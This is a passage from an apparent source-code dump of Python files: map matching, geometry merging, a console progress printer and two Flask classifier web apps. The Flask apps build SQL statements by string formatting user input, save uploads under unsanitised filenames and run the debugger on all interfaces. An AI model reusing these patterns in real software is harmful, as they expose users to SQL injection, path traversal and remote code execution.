PAPER]\n # SECTION 5.1 Candidate Preparation\n # FOR EVERY TRACE POINT, PROJECT THE POINT ON TO ROAD SEGMENTS WITHIN CERTAIN BUFFER AND NOTE THE\n # CANDIDATES\n # EACH TRACE_REC CAN HAVE MULTIPLE CANDIDATES\n\n candidates_per_trace_point = self._get_candidates(trace_point)\n if len(candidates_per_trace_point) != 0:\n candidates.add(trace_point.trace_point_id, candidates_per_trace_point)\n\n # FIND A MATCH FOR A SINGLE TRACE\n matched_sequence = self._until_match(candidates)\n connected_shape, connected_info = self._get_connected_road_geometry(\n matched_sequence\n )\n if len(connected_shape) > 0:\n referenced_poi = line_referencing_series_of_coordinates(\n MultiLineString(connected_shape),\n Traces.trace_point_to_coordinates(trace),\n )\n else:\n referenced_poi = list()\n\n return (\n connected_shape,\n connected_info,\n referenced_poi,\n )\n\n def match_trace(\n self, trace_id, trace: List[TracePoint]\n ) -> Tuple[List[LineString], Union[defaultdict, OrderedDict], List[Point]]:\n assert all(\n [isinstance(trace_point, TracePoint) for trace_point in trace]\n ), \"Expected all points to be TracePoint, got types %s.\" % (\n \", \".join([str(type(v)) for v in trace])\n )\n return self._match(trace_id, trace)\n\n def match_traces(\n self, traces: Traces\n ) -> Tuple[List[LineString], Union[defaultdict, OrderedDict], List[Point]]:\n assert isinstance(traces, Traces), (\n \"Expected 'traces' to be instance of 'Traces'\" \"got %s\",\n (type(traces),),\n )\n for trace_id, trace in traces.items():\n yield self._match(trace_id, trace)\n\n @classmethod\n def init(cls, road_network_file: str):\n \"\"\"\n\n :param road_network_file:\n :return:\n \"\"\"\n road = road_network_from_path(road_network_file)\n return cls(road=road)\n", "id": "8309925", "language": "Python", "matching_score": 3.7788329124450684, "max_stars_count": 12, "path": "kaizen_mapping/map/matcher.py" }, { "content": "from collections import OrderedDict, namedtuple\nfrom types import SimpleNamespace\n\nimport networkx as nx\nimport rtree\nfrom geopandas import GeoDataFrame\nfrom shapely.geometry import shape, Polygon\n\nfrom kaizen_mapping.utils.gis import (\n geom_check,\n decompose_data_frame_row,\n compute_diagonal_distance_of_extent,\n supported_crs,\n read_data_frame,\n)\n\n\nclass RoadTable(OrderedDict):\n \"\"\"\n STORE ROAD DATA\n \"\"\"\n\n def __init__(self):\n super().__init__()\n self._entry = namedtuple(\"Road\", [\"fid\", \"property\", \"geometry\", \"weight\"])\n\n def add(\n self,\n feature_id: int,\n feature_property: dict,\n feature_geometry: dict,\n weight: float,\n ):\n assert all(\n v is not None\n for v in [feature_id, feature_property, feature_geometry, weight]\n ), \"Expected ['feature_id', 'feature_property', 'feature_geometry', 'weight'] to be not None\"\n\n assert type(feature_id) is int, (\n \"Expected 'feature_id' type to be 'int',\" \"got %s\",\n (type(feature_id),),\n )\n\n assert type(feature_property) is dict, (\n \"Expected 'feature_property' type to be 'dict',\" \"got %s\",\n (type(feature_property),),\n )\n\n assert type(feature_geometry) is dict, (\n \"Expected 'feature_geometry' type to be 'dict',\" \"got %s\",\n (type(feature_geometry),),\n )\n\n assert type(weight) is float, (\n \"Expected 'weight' type to be 'float',\" \"got %s\",\n (type(weight),),\n )\n\n self[feature_id] = self._entry(\n fid=feature_id,\n property=SimpleNamespace(**feature_property),\n geometry=feature_geometry,\n weight=weight,\n )\n\n\nclass RoadNetwork:\n \"\"\"\n INFORMATION ASSOCIATED TO THE ROAD GEOMETRY WHICH IS TO BE USED AS BASE FOR MATCHING\n \"\"\"\n\n def __init__(self, road_table, maximum_distance):\n self._road_table = road_table\n self.maximum_distance = maximum_distance\n\n self.tree = self._generate_tree()\n self.graph = self._generate_graph()\n\n def intersection(self, geometry: Polygon):\n \"\"\"\n GET ALL THE INTERSECTING POLYGON IN THE EXTENT OF THE GEOMETRY\n :param geometry: a shapely object\n :return:\n \"\"\"\n assert type(geometry) == Polygon, (\n \"Expected 'geometry' type to be 'Polygon'\" \"got %s\",\n (type(geometry),),\n )\n intersection_info = dict()\n intersecting_fid = list(self.tree.intersection(geometry.bounds))\n for fid in intersecting_fid:\n entry = self._road_table[fid]\n road = shape(entry.geometry)\n if road.intersects(geometry):\n intersection_info[fid] = road\n return intersection_info\n\n def geometry(self, fid):\n \"\"\"\n GET ROAD GEOMETRY FROM THE ROAD TABLE\n :param fid: unique id to identify road element by\n :return:\n \"\"\"\n return self._road_table[fid].geometry\n\n def entry(self, fid):\n \"\"\"\n GET THE ENTIRE INFORMATION ABOUT THE ROAD\n :param fid:\n :return:\n \"\"\"\n return self._road_table[fid]\n\n def _generate_graph(self):\n \"\"\"\n Generate DiGraph of the connected road network\n :return:\n \"\"\"\n # https://stackoverflow.com/questions/30770776/networkx-how-to-create-multidigraph-from-shapefile\n road_graph = nx.DiGraph()\n for _, entry in self._road_table.items():\n intermediate_nodes = list()\n geometry = entry.geometry\n line_string_coordinate = geometry[\"coordinates\"]\n for coordinates in line_string_coordinate[1:-1]:\n intermediate_nodes.append((coordinates[0], coordinates[1]))\n\n road_graph.add_edges_from(\n [\n (entry.property.u, entry.property.v),\n ],\n intermediate_nodes=intermediate_nodes,\n fid=entry.fid,\n weight=entry.weight,\n )\n return road_graph\n\n def get_intermediate_nodes(self, start_node, end_node):\n return self.graph[start_node][end_node][\"intermediate_nodes\"]\n\n def get_fid(self, start_node, end_node):\n return self.graph[start_node][end_node][\"fid\"]\n\n def get_geometry(self, start_node, end_node):\n return self.geometry(self.get_fid(start_node, end_node))\n\n def get_graph_data(self, start_node, end_node):\n return self.graph[start_node][end_node]\n\n def _generate_tree(self):\n \"\"\"\n Generate RTree for the road network\n :return:\n \"\"\"\n index = rtree.index.Index()\n for _, entry in self._road_table.items():\n index.insert(entry.fid, shape(entry.geometry).bounds)\n return index\n\n\ndef road_network_from_data_frame(road_data: GeoDataFrame) -> RoadNetwork:\n assert supported_crs(road_data), (\n \"Supported CRS ['epsg:26910', 'epsg:32649']\" \"got %s\",\n (road_data.crs,),\n )\n\n road_table = RoadTable()\n\n assert geom_check(\n road_data, \"LineString\"\n ), \"Expected all geometries in to be LineString\"\n\n for idx, feature in road_data.iterrows():\n feature_geometry, feature_property = decompose_data_frame_row(feature)\n\n assert \"u\" in feature_property and \"v\" in feature_property, (\n \"Expected 'u' and 'v' to be present in the property\"\n \"indicating the start node and the end node of the provided\"\n \"geometry\"\n )\n if \"fid\" in feature_property:\n idx = feature_property[\"fid\"]\n road_table.add(\n idx, feature_property, feature_geometry, shape(feature_geometry).length\n )\n\n return RoadNetwork(\n road_table=road_table,\n maximum_distance=compute_diagonal_distance_of_extent(road_data),\n )\n\n\ndef road_network_from_path(path: str) -> RoadNetwork:\n \"\"\"\n Generate the connected road network from GeoSpatial LineString\n :param path:\n :return:\n \"\"\"\n\n return road_network_from_data_frame(read_data_frame(path))\n", "id": "12728844", "language": "Python", "matching_score": 1.9916205406188965, "max_stars_count": 12, "path": "kaizen_mapping/map/road.py" }, { "content": "import rtree\nimport fiona\nimport geojson\n\nfrom collections import OrderedDict\n\nfrom shapely.geometry import shape, mapping\nfrom shapely.ops import cascaded_union\n\nfrom shape_merge.save import SaveFiona, SaveGeoJson\n\nfrom py_oneliner import one_liner\n\n\nclass ShapeMerge:\n def __init__(self, bounds_buffer=0, geometry_buffer=0, geometry_type=None):\n \"\"\"\n\n :param bounds_buffer: During rtree index creation the bounds of individual geometry are added with buffer of 0,\n This param controls on how big the bounds should grow than the given bounds\n 'geometry.bounds.buffer(self.__bounds_buffer)'\n :param geometry_buffer: Add buffer to geometries while checking if they intersect\n 'geometry_1.buffer(self.__geometry_buffer).intersects(geometry_2.buffer(self.__geometry_buffer))'\n :param geometry_type: 'Polygon', 'MultiPolygon', 'LineString'\n\n NOTE - CHOOSING LARGE VALUE OF BUFFER WILL INCREASE THE COMPUTATION OVERHEAD\n \"\"\"\n self._bounds_buffer = bounds_buffer\n self._geometry_buffer = geometry_buffer\n\n self._index = rtree.index.Index()\n\n self._visited = list()\n self._feature_geometry_collection = OrderedDict()\n\n self._geometry_type = geometry_type\n self._save = None\n\n self._combined_geometries = OrderedDict()\n\n @property\n def geometry_type(self):\n return self._geometry_type\n\n @geometry_type.setter\n def geometry_type(self, value):\n self._geometry_type = value\n\n def populate_index_by_geojson(self, geo_json_path: str):\n obj = geojson.loads(open(geo_json_path).read())\n if \"features\" not in obj:\n raise KeyError(\"Key features is required\")\n self._save = SaveGeoJson()\n\n for feature in obj[\"features\"]:\n self.populate_index_by_feature(feature)\n\n def populate_index_by_fiona(self, shape_file_path: str):\n obj = fiona.open(shape_file_path)\n if self.geometry_type is None:\n self.geometry_type = obj.schema[\"geometry\"]\n if obj.schema[\"geometry\"] != self.geometry_type:\n raise TypeError(\n \"Geometry Type Must Be Same, Required {}, Given {}\".format(\n self.geometry_type, obj.schema[\"geometry\"]\n )\n )\n self._save = SaveFiona(geometry_type=self.geometry_type, crs=obj.crs)\n\n for feature in obj:\n if feature[\"geometry\"][\"type\"] != self.geometry_type:\n raise TypeError(\n \"Geometry Type Must Be Same, Required {}, Given {}\".format(\n self.geometry_type, feature[\"geometry\"][\"type\"]\n )\n )\n self.populate_index_by_feature(feature)\n\n def populate_index_by_feature(self, feature: dict):\n \"\"\"\n for feature in feature_collection:\n self.populate_index_by_feature(feature)\n\n :param feature: Individual feature on which merging is to be performed, must have \"id\" and \"geometry\"\n :return:\n \"\"\"\n if \"id\" not in feature.keys() and \"geometry\" not in feature.keys():\n raise KeyError(\"Missing Keys, Must have keys 'id' and 'geometry'\")\n if (\n \"type\" not in feature[\"geometry\"]\n and \"coordinates\" not in feature[\"geometry\"]\n ):\n raise KeyError(\n \"Missing Keys, Must have keys 'type' and 'coordinates'in feature['geometry']\"\n )\n if self.geometry_type is None:\n self.geometry_type = feature[\"geometry\"][\"type\"]\n if feature[\"geometry\"][\"type\"] != self.geometry_type:\n raise TypeError(\n \"Geometry Type Must Be Same, Required {}, Given {}\".format(\n self.geometry_type, feature[\"geometry\"][\"type\"]\n )\n )\n feature_id = int(feature[\"id\"])\n geometry = shape(feature[\"geometry\"]).buffer(self._bounds_buffer)\n\n self._index.insert(feature_id, geometry.bounds)\n self._feature_geometry_collection[feature_id] = feature[\"geometry\"]\n\n one_liner.one_line(\n tag=\"Index Created for feature_id\",\n tag_data=f\"{feature_id}\",\n tag_color=\"cyan\",\n )\n if self._save is None:\n self._save = SaveGeoJson()\n\n def _simplify_intersecting_ids(self, potential_neighbour_ids, merged_ids) -> list:\n \"\"\"\n Remove already explored combination and already visited combination\n if 0 has 2,3,4 as neighbours, then 3 might also have any of the neighbours of 0, so an invert intersection is\n taken, to avoid duplicate computation\n\n 0 -> 1, 3, 4, 5\n 3 -> 4, 5, 6, 7, 1, 0\n As 1, 4, 5 their neighbours are already explored while the current_id was 0, so there is no need to perform\n the computation again\n\n [0, 6, 7] = list(set(potential_neighbour_ids) - set(merged_ids))\n\n And computation on 0 is done as it is already visited, so again avoid duplicate computation\n [6, 7] = list(set([0, 6, 7]) - set(self.__visited))\n\n :param potential_neighbour_ids:\n :param merged_ids:\n :return:\n \"\"\"\n potential_neighbour_ids = list(set(potential_neighbour_ids) - set(merged_ids))\n potential_neighbour_ids = list(\n set(potential_neighbour_ids) - set(self._visited)\n )\n return potential_neighbour_ids\n\n def _check_for_neighbours(self, geometry) -> list:\n \"\"\"\n Find neighbours which are in geometry.bounds\n :param geometry: ongoing current geometry, geometry whose neighbour are to be found\n :return: [feature_ids of neighbour who are in geometry.bounds]\n \"\"\"\n return list(self._index.intersection(geometry.bounds))\n\n @staticmethod\n def _remove_self_intersection(intersecting_feature_ids, feature_id):\n intersecting_feature_ids.remove(feature_id)\n return intersecting_feature_ids\n\n @staticmethod\n def _make_self_visit(feature_id, geometry) -> (list, list):\n \"\"\"\n Marks the ongoing feature as a neighbour\n :param feature_id: feature id of the ongoing feature\n :param geometry: shape(feature[\"geometry\"]) of the ongoing feature\n :return: list(feature_id), list(geometry)\n \"\"\"\n return [feature_id], [geometry]\n\n def _is_neighbour(self, potential_neighbour_geometry, current_geometry) -> bool:\n \"\"\"\n From the collection of neighbours found by Rtree current_geometry.bounds, which of them actually intersects\n with current_geometry\n :param potential_neighbour_geometry: geometry of neighbour found by rtree\n :param current_geometry: ongoing geometry, for which neighbour are to be found\n :return: True if intersects else False\n \"\"\"\n return potential_neighbour_geometry.buffer(self._geometry_buffer).intersects(\n current_geometry.buffer(self._geometry_buffer)\n )\n\n def _new_neighbours(\n self,\n child_id,\n child_geometry,\n neighbours_to_visit,\n neighbours_geometry,\n neighbour_ids,\n ) -> (list, list, list):\n \"\"\"\n Find all neighbours which intersects with current_id 'i.e. - ongoing feature'\n\n :param child_id:\n :param child_geometry:\n :param neighbours_to_visit:\n :param neighbours_geometry:\n :param neighbour_ids:\n :return:\n \"\"\"\n\n potential_neighbour_ids = self._remove_self_intersection(\n self._check_for_neighbours(child_geometry), child_id\n )\n\n potential_neighbour_ids = self._simplify_intersecting_ids(\n potential_neighbour_ids, neighbour_ids\n )\n potential_neighbour_ids = list(\n set(potential_neighbour_ids) - set(self._visited)\n )\n\n for potential_neighbour_id in potential_neighbour_ids:\n if self._is_neighbour(\n shape(self._feature_geometry_collection[potential_neighbour_id]),\n child_geometry,\n ):\n neighbours_to_visit.append(potential_neighbour_id)\n neighbours_geometry.append(\n shape(self._feature_geometry_collection[potential_neighbour_id])\n )\n\n neighbour_ids.append(potential_neighbour_id)\n return neighbours_to_visit, neighbours_geometry, neighbour_ids\n\n def _find_my_neighbour(self, parent_id: int, parent_feature: dict):\n \"\"\"\n Will Find all the intersecting neighbours with the feature_id and will keep on exploring neighbours associated\n with those intersected neighbours and won't stop until no more neighbours to look up\n\n :param parent_id: int\n :param parent_feature: dict\n :return:\n \"\"\"\n if parent_id not in self._visited:\n\n neighbour_ids = list()\n neighbours_to_visit, neighbours_geometry = self._make_self_visit(\n parent_id, shape(parent_feature)\n )\n\n while len(neighbours_to_visit) != 0:\n child_id = neighbours_to_visit[0]\n child_geometry = shape(self._feature_geometry_collection[child_id])\n\n (\n neighbours_to_visit,\n neighbours_geometry,\n neighbour_ids,\n ) = self._new_neighbours(\n child_id,\n child_geometry,\n neighbours_to_visit,\n neighbours_geometry,\n neighbour_ids,\n )\n\n neighbours_to_visit.remove(child_id)\n self._visited.append(child_id)\n self._combined_geometries[parent_id] = {\n \"ids\": neighbour_ids,\n \"geometry\": mapping(cascaded_union(neighbours_geometry)),\n }\n\n def merge_geometries(self) -> OrderedDict:\n for iterator, individual_collection in enumerate(\n self._feature_geometry_collection.items()\n ):\n one_liner.one_line(\n tag=\"Merging of Geometry In Progress\",\n tag_data=f\"{str(iterator + 1)} / {str(len(self._feature_geometry_collection))}\",\n tag_color=\"cyan\",\n to_reset_data=True,\n )\n\n self._find_my_neighbour(individual_collection[0], individual_collection[1])\n\n one_liner.one_line(\n tag=\"Geometry Count\",\n tag_data=f\"from {len(self._feature_geometry_collection)} \"\n f\"to {str(len(self._combined_geometries))}\",\n tag_color=\"cyan\",\n to_reset_data=True,\n to_new_line_data=True,\n )\n\n if self._save is not None:\n one_liner.one_line(\n tag=\"Saving InProgress\",\n tag_data=f\"{self._save.__class__.__name__}\",\n tag_color=\"cyan\",\n tag_data_color=\"red\",\n to_reset_data=True,\n to_new_line_data=True,\n )\n self._save.save(self._combined_geometries)\n return self._combined_geometries\n", "id": "3342967", "language": "Python", "matching_score": 3.8723506927490234, "max_stars_count": 3, "path": "shape_merge/merge.py" }, { "content": "import os\r\nimport datetime\r\nimport fiona\r\nfrom geojson import Feature, FeatureCollection, dump\r\n\r\nfrom collections import OrderedDict\r\n\r\nfrom py_oneliner import one_liner\r\n\r\n\r\nclass Save:\r\n def __init__(self):\r\n self.out_folder = os.path.join(\r\n os.path.join(os.getcwd(), \"store\"), str(datetime.datetime.now().timestamp())\r\n )\r\n os.makedirs(self.out_folder)\r\n\r\n def save(self, merged_collection: OrderedDict):\r\n raise NotImplementedError\r\n\r\n\r\nclass SaveFiona(Save):\r\n def __init__(self, geometry_type, crs):\r\n self._geometry_type = geometry_type\r\n self._crs = crs\r\n self._schema = {\r\n \"geometry\": self.geometry_type,\r\n \"properties\": {\"My id\": \"int\", \"Neighbour_ids\": \"str\"},\r\n }\r\n super().__init__()\r\n\r\n @property\r\n def geometry_type(self):\r\n return self._geometry_type\r\n\r\n @property\r\n def crs(self):\r\n return self._crs\r\n\r\n @property\r\n def schema(self):\r\n return self._schema\r\n\r\n def save(self, merged_collection: OrderedDict):\r\n out_file = os.path.join(self.out_folder, \"merged.shp\")\r\n\r\n with fiona.open(\r\n out_file, \"w\", crs=self.crs, driver=\"ESRI Shapefile\", schema=self.schema\r\n ) as output:\r\n one_liner.one_line(\r\n tag=\"Save File Initiated\",\r\n tag_data=f\"geometry: {self.geometry_type}, crs: {self.crs}, schema: {self.schema}\",\r\n tag_color=\"yellow\",\r\n tag_data_color=\"green\",\r\n to_reset_data=True,\r\n to_new_line_data=True,\r\n )\r\n for i in merged_collection.keys():\r\n newline = {\r\n \"geometry\": merged_collection[i][\"geometry\"],\r\n \"properties\": {\r\n \"My id\": int(i),\r\n \"Neighbour_ids\": str(merged_collection[i][\"ids\"]),\r\n },\r\n }\r\n output.write(newline)\r\n output.flush()\r\n\r\n\r\nclass SaveGeoJson(Save):\r\n def __init__(self):\r\n super().__init__()\r\n\r\n def save(self, merged_collection: OrderedDict):\r\n out_file = os.path.join(self.out_folder, \"merged.geojson\")\r\n features = list()\r\n for iterator, i in enumerate(merged_collection.keys()):\r\n features.append(\r\n Feature(\r\n id=iterator,\r\n geometry=merged_collection[i][\"geometry\"],\r\n properties={\r\n \"My id\": int(i),\r\n \"Neighbour_ids\": str(merged_collection[i][\"ids\"]),\r\n },\r\n )\r\n )\r\n feature_collection = FeatureCollection(features)\r\n with open(out_file, \"w\") as f:\r\n dump(feature_collection, f)\r\n", "id": "11089174", "language": "Python", "matching_score": 2.3513715267181396, "max_stars_count": 3, "path": "shape_merge/save.py" }, { "content": "from collections import OrderedDict, namedtuple\nfrom sys import stdout\nfrom termcolor import colored\n\n\ndef d_print(data: str):\n \"\"\"\n\n :param data:\n :return:\n \"\"\"\n stdout.write(\"\\r\\033[1;37m>>\\x1b[K\" + data.__str__())\n stdout.flush()\n\n\ndef d_print_new_line(data: str):\n \"\"\"\n\n :param data:\n :return:\n \"\"\"\n stdout.write(\"\\n\")\n d_print(data)\n\n\ndef dict_to_string(input_dict: dict, separator=\" - \") -> str:\n \"\"\"\n\n :param input_dict:\n :param separator:\n :return:\n \"\"\"\n combined_list = list()\n for key, value in input_dict.items():\n combined_list.append(\n f\"{value.tag}\"\n ) if value.tag_data == \"NONE\" else combined_list.append(\n f\"{colored(value.tag, value.tag_color)} : {colored(value.tag_data, value.tag_data_color)}\"\n )\n return separator.join(combined_list)\n\n\nclass Dynamic:\n def __init__(self, title: str = \"Py-OneLiner\"):\n self._d_data = OrderedDict()\n self._title = title\n\n def _d_data_reset(self):\n \"\"\"\n Reset the print data\n :return:\n \"\"\"\n self._d_data = OrderedDict()\n\n def _refresh_tag(\n self, tag: str, tag_data: str, tag_color: str, tag_data_color: str\n ):\n \"\"\"\n Update the value associated with the tag\n\n :param tag:\n :param tag_data:\n :return:\n \"\"\"\n colored_print = namedtuple(\n \"Data\", [\"tag\", \"tag_data\", \"tag_color\", \"tag_data_color\"]\n )\n self._d_data[tag] = colored_print(tag, tag_data, tag_color, tag_data_color)\n\n def _filter_d_data_for_nested_loop(self, tag: str) -> OrderedDict:\n \"\"\"\n In case of nested loop filter the data, so completed nested loop are removed from the console\n and print data just till 'tag'\n :param tag:\n :return:\n \"\"\"\n filter_data = OrderedDict()\n filtered_keys = list(self._d_data.keys())[\n : list(self._d_data.keys()).index(tag)\n ]\n for tag in filtered_keys:\n filter_data[tag] = self._d_data[tag]\n return filter_data\n\n def one_line(\n self,\n tag,\n tag_data=None,\n tag_color=\"grey\",\n tag_data_color=\"grey\",\n to_reset_data: bool = False,\n to_new_line_data: bool = False,\n print_now: bool = True,\n ):\n \"\"\"\n\n :param tag:\n :param tag_data:\n :param tag_color:\n :param tag_data_color:\n :param to_reset_data: will reset the print string\n :param to_new_line_data: to switch to new line after this 'tag'\n :param print_now: whether to print at the current tag, if False, the 'tag' and 'tag_data' will be updated and\n print when print_now will be true\n :return:\n \"\"\"\n\n if tag_data is None:\n tag_data = \"NONE\"\n\n if tag_color is None and tag_data_color is not None:\n tag_color = \"grey\"\n\n if tag_color is not None and tag_data_color is None:\n tag_data_color = \"grey\"\n\n if to_reset_data:\n self._d_data_reset()\n\n self._d_data = (\n self._filter_d_data_for_nested_loop(tag)\n if (len(self._d_data) > 1 and tag in self._d_data)\n else self._d_data\n )\n\n self._refresh_tag(\n tag, tag_data, tag_color, tag_data_color\n )\n\n if print_now:\n if to_new_line_data:\n d_print_new_line(f\"{self._title} : {dict_to_string(self._d_data)}\")\n else:\n d_print(f\"{self._title} : {dict_to_string(self._d_data)}\")\n", "id": "9592000", "language": "Python", "matching_score": 2.281196117401123, "max_stars_count": 2, "path": "py_oneliner/one_liner.py" }, { "content": "from sys import stdout\n\n\ndef refresh_print(data):\n stdout.write(\"\\r\\033[1;37m>>\\x1b[K\" + data.__str__())\n stdout.flush()\n", "id": "3653661", "language": "Python", "matching_score": 1.0682570934295654, "max_stars_count": 12, "path": "kaizen_mapping/map/__init__.py" } ]
2.316284
nauman-zahoor
[ { "content": "from dog_breed_detector import detect_dog_breed\n\nimport json\nimport sqlite3\nimport plotly\nimport pandas as pd\nfrom flask import Flask\nfrom flask import render_template, request, jsonify, url_for\nfrom plotly.graph_objs import Bar, Pie, Heatmap\nfrom sqlalchemy import create_engine\nimport os\nimport re\n\n\nUPLOAD_FOLDER = './static'\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])\napp = Flask(__name__)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n\ntry:\n print('prerforming final setup...')\n human_or_dog, dog_breed = detect_dog_breed('./test_images/human2.jpg')\nexcept:\n human_or_dog, dog_breed = '',''\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\ndef load_data_from_db_and_create_db_if_not_exist(path):\n try:\n print('trying to find db')\n engine = create_engine('sqlite:///'+path)\n df = pd.read_sql_table('classification_history', engine)\n print('db found!')\n except:\n print('db not found... creating new!')\n conn = sqlite3.connect(path)\n # get a cursor\n cur = conn.cursor()\n # drop the test table in case it already exists\n cur.execute(\"DROP TABLE IF EXISTS classification_history\")\n # create the test table including project_id as a primary key\n cur.execute(\"CREATE TABLE classification_history ( Output_Classification TEXT);\")\n # insert a value into the classification_history table\n cur.execute('INSERT INTO classification_history (Output_Classification) VALUES ( \"{}\");'.format(''))\n #cur.execute('INSERT INTO classification_history (input_text, Output_Classification) VALUES ( \"{}\", \"{}\");'.format(query, str(calassification_results)))\n conn.commit()\n # commit any changes and close the data base\n conn.close()\n df = pd.read_sql_table('classification_history', engine)\n return df\n\n\ndef save_classification_results(classification_label,db_historical_classifications_path):\n try:\n conn = sqlite3.connect(db_historical_classifications_path)\n cur = conn.cursor()\n # drop the test table in case it already exists\n cur.execute('INSERT INTO classification_history (Output_Classification) VALUES ( \"{}\");'.format(str(classification_label)))\n conn.commit() \n conn.close()\n return 1\n except:\n return 0\n\n\n\n# path of historical predictions db\ndb_historical_classifications_path = './historic_predictions/historical_predictions.db'\n\n\n# index webpage displays cool visuals and receives user input text for model\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/index')\ndef index():\n \n\n \n # : load data from historical_predictions.db. if not present, create one.\n # Data will be kept in table named classification_history\n # Table wil have attributes Output_Classification:string (string containing classification label )\n df_historical_classifications = load_data_from_db_and_create_db_if_not_exist(db_historical_classifications_path)\n #print(df_historical_classifications.Output_Classification.value_counts())\n temp = df_historical_classifications.Output_Classification.value_counts()\n historical_classifications_counts = temp\n historical_classifications_names = list(temp.index)\n \n \n\n \n\n \n # create visuals\n # : \n graphs = [\n # : Add graph for historical prediction counts\n {\n 'data': [\n Bar(\n x=historical_classifications_names,\n y=historical_classifications_counts\n )\n ],\n\n 'layout': {\n 'title': 'Counts of Historical Classification Categories',\n 'yaxis': {\n 'title': \"Count\"\n },\n 'xaxis': {\n 'title': \"Category\"\n }\n }\n }\n ]\n\n # encode plotly graphs in JSON\n ids = [\"graph-{}\".format(i) for i, _ in enumerate(graphs)]\n #print(ids)\n graphJSON = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder)\n\n # render web page with plotly graphs\n print('3##########')\n output_string = ''\n path = ''\n if request.method == 'POST':\n if 'file1' not in request.files:\n print( 'there is no file1 in form!')\n file1 = request.files['file1']\n if file1.filename == '': # if no file selected\n print('No selected file')\n return render_template('master.html',img_path = path,output_string = output_string, ids=ids, graphJSON=graphJSON)\n else:\n path = os.path.join(app.config['UPLOAD_FOLDER'], file1.filename)\n file1.save(path)\n print('file uploaded to :', path)\n\n print('Applying Classification model...')\n human_or_dog, dog_breed = detect_dog_breed(path)\n\n if human_or_dog == 'Unknown' and dog_breed == 'Unknown':\n output_string = 'No Human or Dog found in image...'\n print(output_string)\n else:\n output_string = human_or_dog + ' found in image belonging to ' + dog_breed + ' breed!'\n print( output_string)\n if save_classification_results(dog_breed, db_historical_classifications_path):\n print('classification results saved to db')\n else:\n print('error!...couldnt save classification results saved to db')\n \n\n\n#'http://127.0.0.1:3001/' +\n\n return render_template('master.html',img_path = path,output_string = output_string, ids=ids, graphJSON=graphJSON)\n\n\n\n\ndef main():\n app.run(host='0.0.0.0', port=3001, debug=True)\n\n\nif __name__ == '__main__':\n main()\n\n\n\n", "id": "8404055", "language": "Python", "matching_score": 6.855440139770508, "max_stars_count": 0, "path": "Webapp/run.py" }, { "content": "import json\nimport sqlite3\nimport plotly\nimport pandas as pd\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tokenize import word_tokenize\nfrom flask import Flask\nfrom flask import render_template, request, jsonify\nfrom plotly.graph_objs import Bar, Pie, Heatmap\nfrom sqlalchemy import create_engine\nimport joblib\nimport re\n# from sklearn.externals import joblib\n\napp = Flask(__name__)\n\n\nurl_regex = 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'\n\n\ndef tokenize(text):\n ''' Function that cleans text by first removing urls and then tokenizes,\n lemmatizes and lowers each token.\n INPUT:\n text: string containing input text\n RETURNS:\n clean_tokens: list of tokens\n '''\n detected_urls = re.findall(url_regex, text)\n for url in detected_urls:\n text = text.replace(url, \"urlplaceholder\")\n\n tokens = word_tokenize(text)\n lemmatizer = WordNetLemmatizer()\n\n clean_tokens = []\n for tok in tokens:\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n clean_tokens.append(clean_tok)\n\n return clean_tokens\n\n\n\ndef load_data_from_db_and_create_db_if_not_exist(path):\n ''' Function that loads data from classification history db. If \n that db is missing then creates it with proper schema.\n INPUT:\n path: db path\n RETURNS:\n df: date read from db\n '''\n try:\n print('trying to find db')\n engine = create_engine('sqlite:///'+path)\n df = pd.read_sql_table('classification_history', engine)\n print('db found!')\n except:\n print('db not found... creating new!')\n conn = sqlite3.connect(path)\n # get a cursor\n cur = conn.cursor()\n # drop the test table in case it already exists\n cur.execute(\"DROP TABLE IF EXISTS classification_history\")\n # create the test table including project_id as a primary key\n cur.execute(\"CREATE TABLE classification_history ( input_text TEXT, Output_Classification TEXT);\")\n # insert a value into the classification_history table\n cur.execute('INSERT INTO classification_history (input_text, Output_Classification) VALUES ( \"{}\", \"{}\");'.format('', ''))\n #cur.execute('INSERT INTO classification_history (input_text, Output_Classification) VALUES ( \"{}\", \"{}\");'.format(query, str(calassification_results)))\n conn.commit()\n # commit any changes and close the data base\n conn.close()\n df = pd.read_sql_table('classification_history', engine)\n return df\n\n\ndef save_classification_results(query,classification_labels,db_historical_classifications_path):\n ''' Function that savws classification results in db.\n INPUT:\n query: Input query string to be classified \n classification_labels: classification results\n db_historical_classifications_path: db path\n RETURNS:\n 1: if successfull\n 0: if not successfull\n '''\n try:\n conn = sqlite3.connect(db_historical_classifications_path)\n cur = conn.cursor()\n # drop the test table in case it already exists\n cur.execute('INSERT INTO classification_history (input_text, Output_Classification) VALUES ( \"{}\", \"{}\");'.format(query, str(classification_labels)))\n conn.commit() \n conn.close()\n return 1\n except:\n return 0\n\n\n\n# load data\nengine = create_engine('sqlite:///../data/DisasterResponse.db')\ndf = pd.read_sql_table('data', engine)\n\n\n# path of historical predictions db\ndb_historical_classifications_path = '../historic_predictions/historical_predictions.db'\n\n# load model\nmodel = joblib.load(\"../models/classifier.pkl\")\n\n\n# index webpage displays cool visuals and receives user input text for model\n@app.route('/')\n@app.route('/index')\ndef index():\n \n # extract data needed for visuals\n # TODO: Below is an example - modify to extract data for your own visuals\n genre_counts = df.groupby('genre').count()['message']\n genre_names = list(genre_counts.index)\n\n\n\n # distribution of classes in data\n df_melted = df.melt(id_vars=['id', 'message','genre'],var_name='categories',\n value_name='yes_no')\n \n class_counts = df_melted[df_melted.yes_no==1].groupby('categories').count()['message'].sort_values(ascending=False)\n class_names = list(class_counts.index)\n \n # TODO: load data from historical_predictions.db. if not present, create one.\n # Data will be kept in table named classification_history\n # Table wil have attributes input_text:string and Output_Classification:string (string containing list of classifications)\n\n \n df_historical_classifications = load_data_from_db_and_create_db_if_not_exist(db_historical_classifications_path)\n \n #print('#############\\n',df_historical_classifications,'\\n')\n # TODO: extract count of classes from historical_predictions.db's data\n \n # df_historical_classifications\n df_historical_classifications_categories = pd.DataFrame([],columns = df.columns[4:])\n for i in range(len(df_historical_classifications)):\n vals = df_historical_classifications.loc[i,'Output_Classification']\n if 